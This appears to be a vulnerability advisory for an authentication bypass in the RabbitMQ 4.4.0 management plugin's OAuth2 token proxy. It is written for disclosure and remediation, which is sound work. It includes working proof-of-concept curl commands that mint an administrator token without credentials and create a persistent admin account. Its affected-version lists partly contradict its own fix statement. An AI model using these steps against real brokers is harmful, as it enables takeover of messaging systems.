DHI-plt6-re5q-aomz-rzeh

Source
https://scout.docker.com/v/DHI-plt6-re5q-aomz-rzeh
Import Source
https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-plt6-re5q-aomz-rzeh.json
JSON Data
https://api.osv.dev/v1/vulns/DHI-plt6-re5q-aomz-rzeh
Upstream
  • GHSA-cfvg-5q96-8mhm
Published
2026-11-27T12:09:54Z
Modified
2026-11-27T12:15:13Z
Summary
### Summary
Details

Summary

The management plugin in RabbitMQ 4.4.0 exposes the OAuth2 token-endpoint proxy at /js/oidc-oauth/token-endpoint/<resource-server-id> without any caller authentication.

Incriminated source code (tag v4.4.0)

  • deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl:52-55 — the token-endpoint route is registered without an authentication context.
  • deps/rabbitmq_management/src/rabbit_mgmt_oauth_token_proxy.erl:88-131 — handle_token/forward_token_request read the unauthenticated request body and forward it to the provider's token endpoint. The module does not implement the is_authorized/3 callback that every authenticated management resource implements, so it is reachable anonymously.
  • Same file, inject_client_secret (lines 125-131 on v4.4.0) — the configured management.oauth_client_secret is appended to the request body whenever the caller did not supply one. All other caller-supplied form parameters (including scope) are relayed verbatim.

Effect

On deployments configured per the documented OAuth2 management setup, the broker acts as a confidential OAuth2 client on behalf of any anonymous network peer. With a permissive provider (such as the reference setups in the OAuth2 guide that grant administrator scopes), an unauthenticated POST with grant_type=client_credentials (or password) returns a signed JWT with attacker-chosen scope.

The minted token is accepted by the management API, and also by the AMQP 0-9-1 listener when placed in the SASL PLAIN password position (deps/rabbitmq_auth_backend_oauth2/src/rabbit_auth_backend_oauth2.erl:433-442 reads the token from the password property), because audience validation only resolves a resource server and is not bound to the listening plane.

Fix status

Fixed on main by PR #17937 (check_grant_type restricts relaying to authorization_code/refresh_token); the fix ships in 4.4.1. Two related observations from my report were triaged separately by the team (provider responsibility for fabricated code/refresh-token relays; iss assertion on the backlog) and are not part of this advisory.

Details

The management plugin in RabbitMQ 4.4.0 exposes the OAuth2 token-endpoint proxy at /js/oidc-oauth/token-endpoint/<resource-server-id> without any caller authentication.

Incriminated source code (tag v4.4.0)

  • deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl:52-55 — the token-endpoint route is registered without an authentication context.
  • deps/rabbitmq_management/src/rabbit_mgmt_oauth_token_proxy.erl:88-131 — handle_token/forward_token_request read the unauthenticated request body and forward it to the provider's token endpoint. The module does not implement the is_authorized/3 callback that every authenticated management resource implements, so it is reachable anonymously.
  • Same file, inject_client_secret (lines 125-131 on v4.4.0) — the configured management.oauth_client_secret is appended to the request body whenever the caller did not supply one. All other caller-supplied form parameters (including scope) are relayed verbatim.

Effect

On deployments configured per the documented OAuth2 management setup, the broker acts as a confidential OAuth2 client on behalf of any anonymous network peer. With a permissive provider (such as the reference setups in the OAuth2 guide that grant administrator scopes), an unauthenticated POST with grant_type=client_credentials (or password) returns a signed JWT with attacker-chosen scope.

The minted token is accepted by the management API, and also by the AMQP 0-9-1 listener when placed in the SASL PLAIN password position (deps/rabbitmq_auth_backend_oauth2/src/rabbit_auth_backend_oauth2.erl:433-442 reads the token from the password property), because audience validation only resolves a resource server and is not bound to the listening plane.

Fix status

Addressed in 4.4.1. Two related observations from my report were triaged separately by the team (provider responsibility for fabricated code/refresh-token relays; iss assertion on the backlog) and are not part of this advisory.

Proof of concept

Environment

Tested on the official rabbitmq:4.4.0-management Docker image (Erlang/OTP 29.1.2).

Prerequisites

RabbitMQ 4.4.0 with the documented OAuth2 management integration. Minimal rabbitmq.conf shape (values per your provider):

management.oauth_enabled = true
management.oauth_client_id = my_spa_client
management.oauth_client_secret = <the confidential client secret>
management.oauth_provider_url = https://<idp-host>
management.oauth_resource_servers.1.id = rabbitmq
auth_backends.1 = oauth2
auth_oauth2.resource_servers.1.id = rabbitmq
auth_oauth2.resource_servers.1.oauth_provider_id = default
auth_oauth2.oauth_providers.default.issuer = https://<idp-host>
auth_oauth2.oauth_providers.default.jwks_uri = https://<idp-host>/jwks.json
auth_oauth2.oauth_providers.default.token_endpoint = https://<idp-host>/token

with rabbitmq_management and rabbitmq_auth_backend_oauth2 enabled, and a provider that grants the SPA client administrator scopes (as in the guide's reference examples).

Step 1 — mint a token without any credentials

No Authorization header, no client secret:

curl -s -X POST "http://HOST:15672/js/oidc-oauth/token-endpoint/rabbitmq" \
     -d "grant_type=client_credentials" -d "client_id=my_spa_client"

Response: 200 {"access_token":"eyJ...","token_type":"Bearer",...} — the provider-side request log shows the broker injected the client secret and the request originated from the broker.

Step 2 — prove privilege on the management API

curl -s "http://HOST:15672/api/whoami" -H "Authorization: Bearer <token>"

Response: 200 {"name":"...","tags":["administrator"],"is_internal_user":false}

Step 3 — privileged write (persistence)

curl -s -X PUT "http://HOST:15672/api/users/poc" \
     -H "Authorization: Bearer <token>" -H "content-type: application/json" \
     -d '{"password":"Poc12345678!","tags":"administrator"}'

Response: 201 Created.

Step 4 — data plane (cross-listener acceptance)

Present the same JWT in the SASL PLAIN password position against the AMQP port (\x00user\x00<jwt>); the handshake completes and full queue operations (declare/publish/consume/purge/delete) succeed on any vhost.

A self-contained black-box Python PoC (standard library only; HTTP + raw AMQP 0-9-1 frames) was attached to my original email report and is available on request.

Impact

Authentication bypass (missing authentication for a critical function, CWE-306) in the management plugin's OAuth2 token-endpoint proxy.

Impacted deployments: RabbitMQ 4.4.0 instances configured per the documented OAuth2/SSO integration for the management UI (oauth2 backend enabled, provider with a resource server, management.oauth_client_secret set — i.e. the confidential-client token-proxy setup). No operator misconfiguration is involved; the affected setup is the documented one.

Impacted parties: any unauthenticated remote attacker with network access to the management port. Consequences (all verified in testing):

  • attacker-chosen-scope JWT minting through the broker's own confidential client identity
  • full management-plane takeover (administrator actions, persistent administrator account creation)
  • full data-plane takeover on all vhosts via AMQP with the minted token (read, forge and destroy all messages)

Suggested severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8), acknowledging the OAuth2-setup precondition; happy for maintainers to finalize the score.

Remediation: upgrade to 4.4.1 (PR #17937). Interim mitigations: remove management.oauth_client_secret, or place authentication in front of the management port.

References

Affected packages

Docker Hardened Images:Debian:13 / rabbitmq-4.3

Package

Name
rabbitmq-4.3
Purl
pkg:deb/dhi/rabbitmq-4.3

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.3.5-0

Affected versions

4.*
4.3.5-0
4.3.5-1
4.3.6-0
4.3.6-1
4.3.6-2

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-plt6-re5q-aomz-rzeh.json"

Docker Hardened Images:Debian:13 / rabbitmq-4.4

Package

Name
rabbitmq-4.4
Purl
pkg:deb/dhi/rabbitmq-4.4

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.4.0-0

Affected versions

4.*
4.4.0-0
4.4.1-0
4.4.1-1
4.4.1-2
4.4.1-3

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-plt6-re5q-aomz-rzeh.json"